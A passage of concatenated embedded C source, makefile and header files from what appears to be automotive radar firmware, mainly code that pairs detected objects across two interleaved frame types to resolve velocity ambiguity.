if (frame_type_1_obj[main_obj_ind].match_flag == true){
return true;
} else { // frame_type_1_obj[main_obj_ind].head == NULL, not matched to any one of its candidate object
return false;
}
}
bool recur_pair_candi_obj(pair_main_obj_t *frame_type_1_obj, pair_candi_obj_t *frame_type_0_obj, uint8_t candi_obj_ind){
//OPTION_PRINT("// Recur Pair candi_obj %d //\n",candi_obj_ind);
while (frame_type_0_obj[candi_obj_ind].head != NULL && frame_type_0_obj[candi_obj_ind].match_flag != true ) {
uint8_t closest_main_obj_ind = frame_type_0_obj[candi_obj_ind].head->main_obj_index;
uint8_t closest_candi_obj_ind = frame_type_1_obj[closest_main_obj_ind].head->candi_obj_index; // frame_type_1_obj[closest_main_obj_ind].head couldn't be NULL
if (closest_candi_obj_ind == candi_obj_ind){ // Successfully paired! && frame_type_0_obj[closest_candi_obj_ind].match_flag != true;
frame_type_0_obj[candi_obj_ind].match_flag = true;
frame_type_1_obj[closest_main_obj_ind].match_flag = true;
} else {
recur_pair_main_obj(frame_type_1_obj, frame_type_0_obj, closest_main_obj_ind); //search the smallest weighted_diff and pair
if (frame_type_0_obj[candi_obj_ind].match_flag != true) { // frame_type_0_obj[candi_obj_ind].match_flag may turn to true during
// previous pairing process in recur_pair_main_obj()
frame_type_0_obj[candi_obj_ind].head = frame_type_0_obj[candi_obj_ind].head->next; // Try to match with next main_obj
}
}
}
if (frame_type_0_obj[candi_obj_ind].match_flag == true){
return true;
} else { // frame_type_0_obj[candi_obj_ind].head == NULL, not matched to any one of its candidate object
return false;
}
}
#endif
<file_sep>CALTERAH_TRACE_ROOT = $(CALTERAH_COMMON_ROOT)/debug
CALTERAH_TRACE_CSRCDIR = $(CALTERAH_TRACE_ROOT)
CALTERAH_TRACE_ASMSRCDIR = $(CALTERAH_TRACE_ROOT)
# find all the source files in the target directories
CALTERAH_TRACE_CSRCS = $(call get_csrcs, $(CALTERAH_TRACE_CSRCDIR))
CALTERAH_TRACE_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_TRACE_ASMSRCDIR))
# get object files
CALTERAH_TRACE_COBJS = $(call get_relobjs, $(CALTERAH_TRACE_CSRCS))
CALTERAH_TRACE_ASMOBJS = $(call get_relobjs, $(CALTERAH_TRACE_ASMSRCS))
CALTERAH_TRACE_OBJS = $(CALTERAH_TRACE_COBJS) $(CALTERAH_TRACE_ASMOBJS)
# get dependency files
CALTERAH_TRACE_DEPS = $(call get_deps, $(CALTERAH_TRACE_OBJS))
# genearte library
CALTERAH_TRACE_LIB = $(OUT_DIR)/lib_calterah_trace.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_TRACE_ROOT)/trace_point.mk
# library generation rule
$(CALTERAH_TRACE_LIB): $(CALTERAH_TRACE_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_TRACE_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_TRACE_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_TRACE_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_TRACE_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_TRACE_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_TRACE_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_TRACE_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_TRACE_LIB)
<file_sep>#ifndef _DMU_H_
#define _DMU_H_
#include "dbgbus.h"
void dmu_hil_ahb_write(uint32_t hil_data);
bool dmu_hil_input_mux(bool input_mux);
void dmu_adc_reset(void);
#endif
<file_sep>#include "embARC_toolchain.h"
#include "alps/alps.h"
#include "xip.h"
static xip_t flash_xip = {
.base = REL_REGBASE_XIP,
};
void *xip_get_dev(void)
{
return (void *)&flash_xip;
}
<file_sep>#ifndef _CAN_SIGNAL_INTERFACE_H_
#define _CAN_SIGNAL_INTERFACE_H_
#include "track.h"
#define SENSOR_ID 0
/* CAN Message ID */
#define SCAN_FRAME_ID (0x200 + SENSOR_ID * 0x10)
#define HEAD_FRAME_ID0 (0x300 + SENSOR_ID * 0x10)
#define HEAD_FRAME_ID1 (0x301 + SENSOR_ID * 0x10)
#define BK_FRAME_ID0 (0x400 + SENSOR_ID * 0x10)
#define BK_FRAME_ID1 (0x401 + SENSOR_ID * 0x10)
#define BK_FRAME_ID2 (0x402 + SENSOR_ID * 0x10) /* Reserved */
#define AK_FRAME_ID0 (0x500 + SENSOR_ID * 0x10)
#define AK_FRAME_ID1 (0x501 + SENSOR_ID * 0x10)
#define AK_FRAME_ID2 (0x502 + SENSOR_ID * 0x10) /* Reserved */
/* CAN OTA Message ID */
#define CAN_OTA_ID (0x111 + SENSOR_ID * 0x10)
/* CAN OTA Magic code and HS code */
#define CAN_OTA_COM_MAGIC_NUM (0x341200ff)
#define CAN_OTA_COM_HS_CODE (0xff002143)
void track_pkg_can_print(track_t *track);
int32_t can_scan_signal(uint8_t *data, uint32_t len);
int32_t can_cli_commands(void);
#endif /* _CAN_SIGNAL_INTERFACE_H_ */
<file_sep>#ifndef _XIP_OBJ_H_
#define _XIP_OBJ_H_
void *xip_get_dev(void);
#endif
<file_sep>/*
* Velocity deambiguity using two frames interleaving
*/
#include "vel_deamb_MF.h"
#if VEL_DEAMB_MF_EN
static uint32_t fram0_fft_peak_mem[TRACK_NUM_CDI][MAX_NUM_RX]; // To store the first frame FFT peak values
void NO_PRINTF(const char *format,...){}
static uint32_t previous_chrp_prd, previous_rng_nfft, previous_vel_nfft;
static uint32_t current_chrp_prd, current_rng_nfft, current_vel_nfft;
static uint32_t next_chrp_prd, next_rng_nfft, next_vel_nfft;
static uint8_t previous_frame_type, current_frame_type, next_frame_type;
static uint8_t BPM_NUM = 0;
static uint8_t obj_num_0, obj_num_1; // Numbers of detected objects in type 0 and type 1 frames
/*
* nodes storing matching info of frame type 1 and frame type 0 objects
* 'main_obj' indicates frame type 1 object
* 'candi_obj' indicates frame type 0 object
* */
static pair_main_obj_info_t main_obj_buf[TRACK_NUM_CDI*MAX_PAIR_CANDI]; // store frame type 1 objects' matching info
static pair_candi_obj_info_t candi_obj_buf[TRACK_NUM_CDI*MAX_PAIR_CANDI];// store frame type 0 objects' matching info
/*
* Container of potentially matching objects chain
* Note that frame type 1 objects' chain nodes stores frame type 0 objects' matching info
* while frame type 0 objects' chain nodes stores frame type 1 objects' matching info
* */
static pair_main_obj_t frame_type_1_obj[TRACK_NUM_CDI]; // Container of frame type 1 objects' potentially matched object chain
static pair_candi_obj_t frame_type_0_obj[TRACK_NUM_CDI];// Container of frame type 0 objects' potentially matched object chain
bool Is_main_obj_match( unsigned char obj_ind )
{
return frame_type_1_obj[obj_ind].match_flag;
}
bool Is_candi_obj_match( unsigned char obj_ind )
{
return frame_type_0_obj[obj_ind].match_flag;
}
signed char main_obj_wrap_num( unsigned char obj_ind )
{
uint8_t closest_candi_obj_ind = frame_type_1_obj[obj_ind].head->candi_obj_index;
//signed char wrp_num_0 = frame_type_1_obj[j].head->candi_vel_wrap_num;
signed char wrp_num_1 = frame_type_0_obj[closest_candi_obj_ind].head->main_vel_wrap_num;
return wrp_num_1;
}
void print_main_obj_info(uint8_t main_obj_ind)
{
pair_candi_obj_info_t * tmp = frame_type_1_obj[main_obj_ind].head;
OPTION_PRINT("Main_obj[%d] has %d pair candi_obj\n",main_obj_ind,frame_type_1_obj[main_obj_ind].candi_obj_num);
while(tmp != NULL) {
OPTION_PRINT("Pair candi_obj_info for main_obj[%d] is index: %d, weighted_diff_exp: %d \n", main_obj_ind, tmp->candi_obj_index, tmp->weighted_diff_exp);
tmp = tmp->next;
}
return;
OPTION_PRINT("\n");
}
void print_candi_obj_info(uint8_t candi_obj_ind)
{
pair_main_obj_info_t * tmp = frame_type_0_obj[candi_obj_ind].head;
OPTION_PRINT("Candi_obj[%d] has %d pair main_obj\n",candi_obj_ind,frame_type_0_obj[candi_obj_ind].main_obj_num);
while(tmp != NULL) {
OPTION_PRINT("Pair main_obj_info for candi_obj[%d] is index: %d, weighted_diff_exp: %d \n", candi_obj_ind, tmp->main_obj_index, tmp->weighted_diff_exp);
tmp = tmp->next;
}
return;
OPTION_PRINT("\n");
}
/* Update frame type related parameters */
void frame_type_params_update(baseband_t *bb)
{
baseband_hw_t *bb_hw = &bb->bb_hw;
sensor_config_t* cfg = (sensor_config_t*)CONTAINER_OF(bb_hw, baseband_t, bb_hw)->cfg;
BPM_NUM = baseband_read_reg(bb_hw, BB_REG_SYS_SIZE_BPM); // get virtual array size
next_chrp_prd = (baseband_read_reg(bb_hw, BB_REG_SYS_SIZE_RNG_PRD) + 1)*(BPM_NUM + 1);
next_chrp_prd = (int)(cfg->fmcw_chirp_period*10)*(BPM_NUM + 1);// chirp_period (unit:us) is scaled by 10
next_rng_nfft = baseband_read_reg(bb_hw, BB_REG_SYS_SIZE_RNG_FFT) + 1;
next_vel_nfft = baseband_read_reg(bb_hw, BB_REG_SYS_SIZE_VEL_FFT) + 1;
next_frame_type = baseband_read_reg(bb_hw, BB_REG_FDB_SYS_BNK_ACT);
previous_chrp_prd = current_chrp_prd;
previous_rng_nfft = current_rng_nfft;
previous_vel_nfft = current_vel_nfft;
current_chrp_prd = next_chrp_prd;
current_rng_nfft = next_rng_nfft;
current_vel_nfft = next_vel_nfft;
previous_frame_type = current_frame_type;
current_frame_type = next_frame_type;
OPTION_PRINT("current_frame_type = %d \n", current_frame_type);
}
/*
* Pairing objects detected in type 0 and type 1 frames
* */
void obj_pair(baseband_t *bb)
{
baseband_hw_t *bb_hw = &bb->bb_hw;
//OPTION_PRINT("//===================Current frame_type is %d ====================//\n",current_frame_type);
OPTION_PRINT("sizeof(pair_main_obj_info_t) is %d\n", sizeof(pair_main_obj_info_t));
OPTION_PRINT("sizeof(pair_candi_obj_info_t) is %d\n", sizeof(pair_candi_obj_info_t));
OPTION_PRINT("sizeof(pair_main_obj_t) is %d\n", sizeof(pair_main_obj_t));
OPTION_PRINT("sizeof(pair_candi_obj_t) is %d\n", sizeof(pair_candi_obj_t));
// Read detected objects number
OPTION_PRINT("BB_REG_FDB_SYS_BNK_ACT is %d. \n",baseband_read_reg(NULL, BB_REG_FDB_SYS_BNK_ACT));
EMBARC_PRINTF("BB_REG_SYS_BNK_ACT is %d. \n",baseband_read_reg(NULL, BB_REG_SYS_BNK_ACT));
if (current_frame_type == 0) {
obj_num_0 = BB_READ_REG(bb_hw, CFR_NUMB_OBJ);
if (obj_num_0 > TRACK_NUM_CDI)
obj_num_0 = TRACK_NUM_CDI;
OPTION_PRINT("obj_num_0 is %d\n", obj_num_0);
FFT_mem_buf2rlt(bb_hw);
} else if (current_frame_type == 1) {
obj_num_1 = BB_READ_REG(bb_hw, CFR_NUMB_OBJ);
if (obj_num_1 > TRACK_NUM_CDI)
obj_num_1 = TRACK_NUM_CDI;
OPTION_PRINT("obj_num_1 is %d\n", obj_num_1);
}
// Pairing at the end of type 1 frame
if (current_frame_type == 1) {
//OPTION_PRINT("//===================Read obj info=====================//\n");
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
uint32_t mem_rlt_offset = 1 * (1<<SYS_SIZE_OBJ_WD_BNK) * RESULT_SIZE;// according to track_read()
//OPTION_PRINT("//===================mem_rlt_offset is %d ====================//\n",mem_rlt_offset);
volatile obj_info_t *obj_info_0 = (volatile obj_info_t *)(BB_MEM_BASEADDR + 0);// Starting address of type 0 frame detected objects infos
volatile obj_info_t *obj_info_1 = (volatile obj_info_t *)(BB_MEM_BASEADDR + mem_rlt_offset);// Starting address of type 1 frame detected objects infos
/*
* STEP 1 : Initialization frame type 0 and frame type 1 object chain container
* */
for (uint8_t i = 0; i < obj_num_0; i++) {
frame_type_0_obj[i].main_obj_num = 0;
frame_type_0_obj[i].match_flag = false;
frame_type_0_obj[i].head = NULL;
frame_type_0_obj[i].tail = NULL;
}
for (uint8_t j = 0; j < obj_num_1; j++) {
frame_type_1_obj[j].candi_obj_num = 0;
frame_type_1_obj[j].match_flag = false;
frame_type_1_obj[j].head = NULL;
frame_type_1_obj[j].tail = NULL;
}
uint8_t main_obj_buf_ind = 0;
uint8_t candi_obj_buf_ind = 0;
OPTION_PRINT("In type 0 frame, obj_num is: %d\n", obj_num_0);
for (uint8_t i = 0; i < obj_num_0; i++) {
OPTION_PRINT("The %dth object info is:\n",i);
int hw_rng = obj_info_0[i].rng_idx; //In fact return value is unsigned integer.
int hw_vel = obj_info_0[i].vel_idx;
int hw_sig = obj_info_0[i].doa[0].sig_0;
int hw_noi = obj_info_0[i].noi;
int hw_ang = obj_info_0[i].doa[0].ang_idx_0;
OPTION_PRINT("hw_rng is %d, hw_vel is %d, hw_sig is %d, hw_noi is %d, hw_ang is %d \n",
hw_rng, hw_vel, hw_sig, hw_noi, hw_ang);
}
OPTION_PRINT("\n In type 1 frame, obj_num is: %d\n", obj_num_1);
for (uint8_t i = 0; i < obj_num_1; i++) {
OPTION_PRINT("The %dth object info is:\n",i);
int hw_rng = obj_info_1[i].rng_idx; //In fact return value is unsigned integer.
int hw_vel = obj_info_1[i].vel_idx;
int hw_sig = obj_info_1[i].doa[0].sig_0;
int hw_noi = obj_info_1[i].noi;
int hw_ang = obj_info_1[i].doa[0].ang_idx_0;
OPTION_PRINT("hw_rng is %d, hw_vel is %d, hw_sig is %d, hw_noi is %d, hw_ang is %d\n",
hw_rng, hw_vel, hw_sig, hw_noi, hw_ang);
}
/* Set difference threshold for pairing in range, velocity, and angle domain,
* FIXME: power difference need to consider, may be influenced by
* channel numbers during CFAR combination
* */
float raw_rng_diff;
float SNR_diff;
float raw_vel_diff;
float corr_coe;
float weighted_diff;// recording total weighted difference between 2 frames' objects
uint8_t nxt_rng_pair_bgn_ind = 0;
bool rng_match_flag = false;// reduce search time by recording rng_idx of the first range matching object
/*
* STEP 2 : Create potentially matching object chains for both frame types' objects
* */
for (uint8_t i = 0; i < obj_num_0; i++) { // For each frame type 0 object, find its potentially matching objects from type 1 frame
int hw_rng_0 = obj_info_0[i].rng_idx;
int hw_vel_0 = obj_info_0[i].vel_idx;
rng_match_flag = false;
radar_sys_params_t* sys_params_0 = bb->track->radar_params[0];
float raw_rng_0, raw_vel_0;
radar_param_fft2rv_nowrap(sys_params_0, hw_rng_0, hw_vel_0, &raw_rng_0, &raw_vel_0);
int hw_sig_0 = obj_info_0[i].doa[0].sig_0;
int hw_noi_0 = obj_info_0[i].noi;
float tmpS = fl_to_float(hw_sig_0, 15, 1, false, 5, false);
float tmpN = fl_to_float(hw_noi_0, 15, 1, false, 5, false);
float SNR0 = 10*log10f(tmpS/tmpN); // TODO: simplify the SNR calculation by exploiting our flr representation
OPTION_PRINT("\n >>> Pair the %dth frame type 0 object... \n", i);
// OPTION_PRINT("i %d\n", i);
for (uint8_t j = nxt_rng_pair_bgn_ind; j < obj_num_1; j++) { // search in from type 1 frame objects set
// OPTION_PRINT("j %d\n", j);
// read the jth frame type 1 object information
int hw_rng_1 = obj_info_1[j].rng_idx;
int hw_vel_1 = obj_info_1[j].vel_idx;
radar_sys_params_t* sys_params_1 = bb->track->radar_params[1];
float raw_rng_1, raw_vel_1;
radar_param_fft2rv(sys_params_1, hw_rng_1, hw_vel_1, &raw_rng_1, &raw_vel_1);
int hw_sig_1 = obj_info_1[j].doa[0].sig_0;
int hw_noi_1 = obj_info_1[j].noi;
float tmpS = fl_to_float(hw_sig_1, 15, 1, false, 5, false);
float tmpN = fl_to_float(hw_noi_1, 15, 1, false, 5, false);
float SNR1 = 10*log10f(tmpS/tmpN);
OPTION_PRINT("raw_rng_0 is %4.2f, raw_vel_0 is %4.2f, SNR0 is %4.2f\n",
raw_rng_0, raw_vel_0, SNR0);
OPTION_PRINT("raw_rng_1 is %4.2f, raw_vel_1 is %4.2f, SNR1 is %4.2f\n",
raw_rng_1, raw_vel_1, SNR1);
/*
* (STEP 2) Sub-step A:
* Evaluate the info differences between the ith frame type 0 object
* and the jth frame type 1 object
* */
/* Evaluate the range difference */
raw_rng_diff = raw_rng_0 - raw_rng_1;
OPTION_PRINT("raw_rng_diff is %4.2f\n", raw_rng_diff);
if (raw_rng_diff < -RNG_DIFF_THRES) { // indicating j is too large, since objects are arranged in range ascending order in RAM MEM_RLT
// OPTION_PRINT("break \n");
break;// switch to next (i+1)th frame type 0 object to find its potentially matching objects of type 1 frame
} else if (raw_rng_diff > RNG_DIFF_THRES) {
// OPTION_PRINT("continue \n");
continue;// switch to next (j+1)th frame type 1 object to evaluate the info difference
} else if ( rng_match_flag == false ) {
// OPTION_PRINT("rng_match first \n");
nxt_rng_pair_bgn_ind = j;// In next i for loop , j starts with initial value "nxt_rng_pair_bgn_ind"
rng_match_flag = true;
}
/* Evaluate the SNR difference */
SNR_diff = fabs(SNR0 - SNR1);
OPTION_PRINT("SNR_diff is %4.2f\n", SNR_diff);
if (SNR_diff > SNR_DIFF_THRES) {
continue;
}
/* Evaluate the correlation coefficient of RXs FFT peak values */
uint32_t fft_vec[MAX_NUM_RX];
get_fft_vec( bb_hw, fft_vec, hw_rng_1, hw_vel_1);
corr_coe = corr_coe_cal(fram0_fft_peak_mem[i], fft_vec, MAX_NUM_RX);
OPTION_PRINT("corr_coe = %2.4f.\n", corr_coe);
if (corr_coe < CORR_COE_THRES) {
continue;
}
/* Evaluate the velocity difference
* velocity difference is evaluated at last due to possible ambiguity
* */
raw_vel_diff = fabs(raw_vel_0 - raw_vel_1);
OPTION_PRINT("abs raw_vel_diff is %4.2f\n", raw_vel_diff);
signed char wrp_num_0 = 0;
signed char wrp_num_1 = 0;
if (raw_vel_diff > VEL_DIFF_THRES ) { // If velocity difference is larger than threshold, velocity ambiguity is assumed to occur first
// search the wrap numbers to minimize doppler frequency difference
search_vel_wrap_num ( hw_vel_0, previous_vel_nfft, previous_chrp_prd,
hw_vel_1, current_vel_nfft, current_chrp_prd,
&wrp_num_0, &wrp_num_1);
// compensate velocity ambiguity
int hw_vel_0_compen = hw_vel_0 + wrp_num_0*previous_vel_nfft;
int hw_vel_1_compen = hw_vel_1 + wrp_num_1*current_vel_nfft;
// update velocity difference after velocity ambiguity compensation
float raw_vel_0_compen = hw_vel_0_compen*sys_params_0->v_coeff;
float raw_vel_1_compen = hw_vel_1_compen*sys_params_1->v_coeff;
raw_vel_diff = fabs(raw_vel_0_compen - raw_vel_1_compen);
OPTION_PRINT("Compensated abs raw_vel_diff is %4.2f \n", raw_vel_diff);
if (raw_vel_diff > VEL_DIFF_THRES) {
continue; // velocity difference is still large even after ambiguity compensation
}
}
/* If all types of thresholds are satisfied,
* then calculate total weighted info difference
*/
/* FIXME perhaps need to add weightings */
weighted_diff = fabs(raw_rng_diff) + 0.5*SNR_diff + raw_vel_diff + fabs(1/corr_coe -1); // corr_coe is a positive value
OPTION_PRINT("Compensated Weighted_diff is %7.2f\n", weighted_diff);
/* In order to compress the data size of object info node,
* transfer float type 'weighted_diff' to pseudo floating point type 'weighted_diff_exp'
*/
unsigned char weighted_diff_exp = 0;
// bit width of mantissa in weighted_diff_exp
unsigned char MANTI_W = 4;
// bit width of exponent in weighted_diff_exp
unsigned char EXP_W = 8 * sizeof(weighted_diff_exp) - (MANTI_W % 8);// 8 is the bit width of a byte
OPTION_PRINT("sizeof(weighted_diff_exp) is %d.\n", sizeof(weighted_diff_exp));
OPTION_PRINT("MANTI_W is %d, EXP_W is %d.\n", MANTI_W, EXP_W);
//weighted_diff is supposed smaller than pow(2,pow(2,EXP_W)-SCAL_EXP))
unsigned char SCAL_EXP = 13;
int weighted_diff_scl = (int)(weighted_diff*pow(2,SCAL_EXP));// Scaling and rounding
// down scale mantissa, increase exponent
while(weighted_diff_scl > pow(2,MANTI_W)-1) {
weighted_diff_exp++;
weighted_diff_scl = weighted_diff_scl >> 1;
}
OPTION_PRINT("weighted_diff_exp is %d\n", weighted_diff_exp); // final exponent
OPTION_PRINT("weighted_diff_scl is %d\n", weighted_diff_scl);// final mantissa
unsigned char exp_bit_mask = (unsigned char)(pow(2,EXP_W)-1);
weighted_diff_exp = (( weighted_diff_exp & exp_bit_mask ) << MANTI_W) + weighted_diff_scl;
OPTION_PRINT("weighted_diff_exp is %d\n", weighted_diff_exp);
/* (STEP 2) Sub-step B:
* Create the jth frame type 1 object info node
* */
pair_main_obj_info_t * main_obj = &(main_obj_buf[main_obj_buf_ind++]);
if (main_obj == NULL || main_obj_buf_ind >= TRACK_NUM_CDI*MAX_PAIR_CANDI) {
EMBARC_PRINTF("Memory for main_obj is not enough! \n");
exit(1);
continue;
}
// OPTION_PRINT("main_obj vaule is %d\n",main_obj);
main_obj->main_obj_index = j;
main_obj->weighted_diff_exp = weighted_diff_exp;
main_obj->main_vel_wrap_num = wrp_num_1;
main_obj->next = NULL;
/* (STEP 2) Sub-step C:
* Insert Created node to the ith frame type 0 object's potential matching object chain
* */
insert_main_obj_info_node(frame_type_0_obj, i, main_obj);
/* (STEP 2) Sub-step D:
* Create the ith frame type 0 object info node
* */
pair_candi_obj_info_t * candi_obj = &(candi_obj_buf[candi_obj_buf_ind++]);
if (candi_obj == NULL || candi_obj_buf_ind >= TRACK_NUM_CDI*MAX_PAIR_CANDI) {
EMBARC_PRINTF("Memory for candi_obj is not enough!\n");
exit(1);
continue;
}
candi_obj->candi_obj_index = i;
candi_obj->weighted_diff_exp = weighted_diff_exp;
candi_obj->candi_vel_wrap_num = wrp_num_0;
candi_obj->next = NULL;
/* (STEP 2) Sub-step E:
* Insert Created node to the jth frame type 1 object's potential matching object chain
* */
insert_candi_obj_info_node(frame_type_1_obj, j, candi_obj);
OPTION_PRINT("Created nodes! \n");
}
}
/**/
OPTION_PRINT("\n");
OPTION_PRINT("<-----------Print candidate pair objects infos---------->\n");
for (uint8_t i = 0; i < obj_num_0; i++) {
print_candi_obj_info(i);
}
OPTION_PRINT("\n");
OPTION_PRINT("<-----------Print main pair objects infos---------->\n");
for (uint8_t j = 0; j < obj_num_1; j++) {
print_main_obj_info(j);
}
OPTION_PRINT("\n");
/* STEP 3 : Recursively pair frame type 0 and frame type 1 objects using their
* potentially matching objects chains
* */
for (uint8_t j = 0; j < obj_num_1; j++) {
if (frame_type_1_obj[j].match_flag != true && frame_type_1_obj[j].head != NULL) {
recur_pair_main_obj(frame_type_1_obj, frame_type_0_obj, j);
}
}
/*---------- Print pair results and correct velocity ambiguity ----------*/
// OPTION_PRINT("\n");
OPTION_PRINT("<-----------Print pair results infos---------->\n");
//uint8_t trk_cdi_ind = 0;
for (uint8_t j = 0; j < obj_num_1; j++) {
EMBARC_PRINTF("j = %d\n",j);
if (frame_type_1_obj[j].match_flag == true) {
uint8_t closest_candi_obj_ind = frame_type_1_obj[j].head->candi_obj_index;
signed char wrp_num_0 = frame_type_1_obj[j].head->candi_vel_wrap_num;
signed char wrp_num_1 = frame_type_0_obj[closest_candi_obj_ind].head->main_vel_wrap_num;
// OPTION_PRINT("candi_obj_num is %d\n", candi_obj_num);
int hw_rng_0 = obj_info_0[closest_candi_obj_ind].rng_idx;
int hw_vel_0 = obj_info_0[closest_candi_obj_ind].vel_idx;
int hw_rng_1 = obj_info_1[j].rng_idx;
int hw_vel_1 = obj_info_1[j].vel_idx;
EMBARC_PRINTF("Read hw_vel_0 is %d, hw_vel_1 is %d\n", hw_vel_0, hw_vel_1);
int hw_vel_0_compen = hw_vel_0 + wrp_num_0*previous_vel_nfft;
int hw_vel_1_compen = hw_vel_1 + wrp_num_1*current_vel_nfft;
EMBARC_PRINTF("wrp_num_0 is %d, wrp_num_1 is %d\n", wrp_num_0, wrp_num_1);
// OPTION_PRINT("Compensated hw_vel_0 is %d, hw_vel_1 is %d\n", hw_vel_0_compen, hw_vel_1_compen);
OPTION_PRINT("obj_info_1[%d].amb_idx; %d\n", j, obj_info_1[j].amb_idx);
OPTION_PRINT("obj_info_1[%d].noi; %d\n", j, obj_info_1[j].noi);
uint32_t noi_val = obj_info_1[j].noi;
uint32_t * p_tmp = (uint32_t *)(&(obj_info_1[j]));
//wrp_num_1 = 1; // for test
unsigned char amb_idx_offset = 1;// memory storage offset of amb_idx in obj_info structure, unit : word
if (hw_vel_1 >= current_vel_nfft/2) { // additional -1 unwrap is done in track
// write wrp_num_1 to obj_info_1[j].amb_idx, reorganize as noi(24:5), amb_idx(4:0) due to R/W difference
*(p_tmp + amb_idx_offset) = (noi_val<<5) + (unsigned char)((wrp_num_1 + 1)&0x1F);
} else {
*(p_tmp + amb_idx_offset) = (noi_val<<5) + (unsigned char)((wrp_num_1)&0x1F);
}
OPTION_PRINT("after change, obj_info_1[%d].amb_idx; %d\n", j, obj_info_1[j].amb_idx);
OPTION_PRINT("after change, obj_info_1[%d].noi; %d\n", j, obj_info_1[j].noi);
// trk_cdi_ind = track_read_1_obj(bb->track, obj_info_1, j, hw_vel_1_compen, trk_cdi_ind, current_frame_type);
if(abs(wrp_num_0) > 1 || abs(wrp_num_1) > 1) {
EMBARC_PRINTF("Match info: type_0 frame obj_ind: %d, type_1 frame obj_ind: %d\n", closest_candi_obj_ind, j);
EMBARC_PRINTF("Compensated hw_rng_0 is %d, hw_vel_0 is %d, hw_rng_1 is %d, hw_vel_1 is %d\n",
hw_rng_0, hw_vel_0_compen, hw_rng_1, hw_vel_1_compen);
}
}
}
baseband_switch_mem_access(bb_hw, old);
}
return;
}
/*
* Store FFT values
* */
static void get_fft_vec(baseband_hw_t * bb_hw, uint32_t * fft_vec, int rng_index, int vel_index)
{
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
for(uint8_t ch_index = 0; ch_index < MAX_NUM_RX; ch_index++) {
fft_vec[ch_index] = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, vel_index, 0);
}
baseband_switch_mem_access(bb_hw, old);
}
/* Store RXs FFT vectors of all CFAR detected peaks from MEM_BUF.
* The vector size is MAX_NUM_RX, since only data generated
* by the first TX in VAM mode are stored.
* */
static void FFT_mem_buf2rlt(baseband_hw_t *bb_hw)
{
uint8_t bb_bank_act_id = baseband_read_reg(NULL, BB_REG_SYS_BNK_ACT);
OPTION_PRINT("\n bb_bank_act_id is %d \n", bb_bank_act_id);
uint8_t obj_num = BB_READ_REG(bb_hw, CFR_NUMB_OBJ);
if( obj_num > TRACK_NUM_CDI )
obj_num = TRACK_NUM_CDI;
uint32_t old = baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
volatile obj_info_t *obj_info = (volatile obj_info_t *)(BB_MEM_BASEADDR +
bb_bank_act_id * (1<<SYS_SIZE_OBJ_WD_BNK) * RESULT_SIZE);
uint32_t fft_mem[MAX_NUM_RX];
int rng_index, vel_index;
// uint32_t * p_tmp;
for(uint8_t obj_ind = 0; obj_ind < obj_num; obj_ind ++)
{
rng_index = obj_info[obj_ind].rng_idx;
vel_index = obj_info[obj_ind].vel_idx;
//EMBARC_PRINTF("obj_ind is %d, rng_index is %d, vel_index is %d. \n", obj_ind, rng_index, vel_index);
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_BUF);
get_fft_vec(bb_hw, fram0_fft_peak_mem[obj_ind], rng_index, vel_index);
for( uint8_t ch_index = 0; ch_index < MAX_NUM_RX; ch_index++ ) {
// OPTION_PRINT("\n fram0_fft_peak_mem[%d][%d] = %d \n", obj_ind, ch_index, fram0_fft_peak_mem[obj_ind][ch_index]);
fft_mem[ch_index] = baseband_hw_get_fft_mem(bb_hw, ch_index, rng_index, vel_index, 0);
fram0_fft_peak_mem[obj_ind][ch_index] = fft_mem[ch_index];
// OPTION_PRINT("\n fram0_fft_peak_mem[%d][%d] = %d \n", obj_ind, ch_index, fram0_fft_peak_mem[obj_ind][ch_index]);
//EMBARC_PRINTF("\n fft_mem[%d] = %d \n", ch_index, fft_mem[ch_index]);
}
baseband_switch_mem_access(bb_hw, SYS_MEM_ACT_RLT);
/*
* // Try to store in MEM_RLT but failed.
p_tmp = (uint32_t *)(&(obj_info[obj_ind].doa[1]));
for(uint8_t ch_index = 0; ch_index < MAX_NUM_RX-1; ch_index++){
*( p_tmp + ch_index )= fft_mem[ch_index];
EMBARC_PRINTF("\n stored value is %d \n", obj_info[obj_ind].doa[ch_index].sig_0);
}
*/
}
baseband_switch_mem_access(bb_hw, old);
}
/* Calculate correlation coefficient of 2 FFT peak vectors */
float corr_coe_cal(uint32_t * fft_mem1, uint32_t * fft_mem2, uint8_t len)
{
complex_t init_val;
init_val.r = 0;
init_val.i = 0;
complex_t a;
complex_t b;
complex_t innerProd_a_b = init_val;
complex_t innerProd_a_a = init_val;
complex_t innerProd_b_b = init_val;
for(uint8_t i = 0; i < len; i++)
{
a = cfl_to_complex(*(fft_mem1+i), 14, 14, true, 4, false);
b = cfl_to_complex(*(fft_mem2+i), 14, 14, true, 4, false);
OPTION_PRINT("\n a[%d].r = %5.4f, a[%d].i = %5.4f, ", i, a.r, i, a.i);
OPTION_PRINT("b[%d].r = %5.4f, b[%d].i = %5.4f. \n", i, b.r, i, b.i);
cmult_conj_cum(&a, &b, &innerProd_a_b);
OPTION_PRINT("\n a_b.r = %5.4f, a_b.i = %5.4f, ", innerProd_a_b.r, innerProd_a_b.i);
cmult_conj_cum(&a, &a, &innerProd_a_a);
OPTION_PRINT("\n a_a.r = %5.4f, a_a.i = %5.4f, ", innerProd_a_a.r, innerProd_a_a.i);
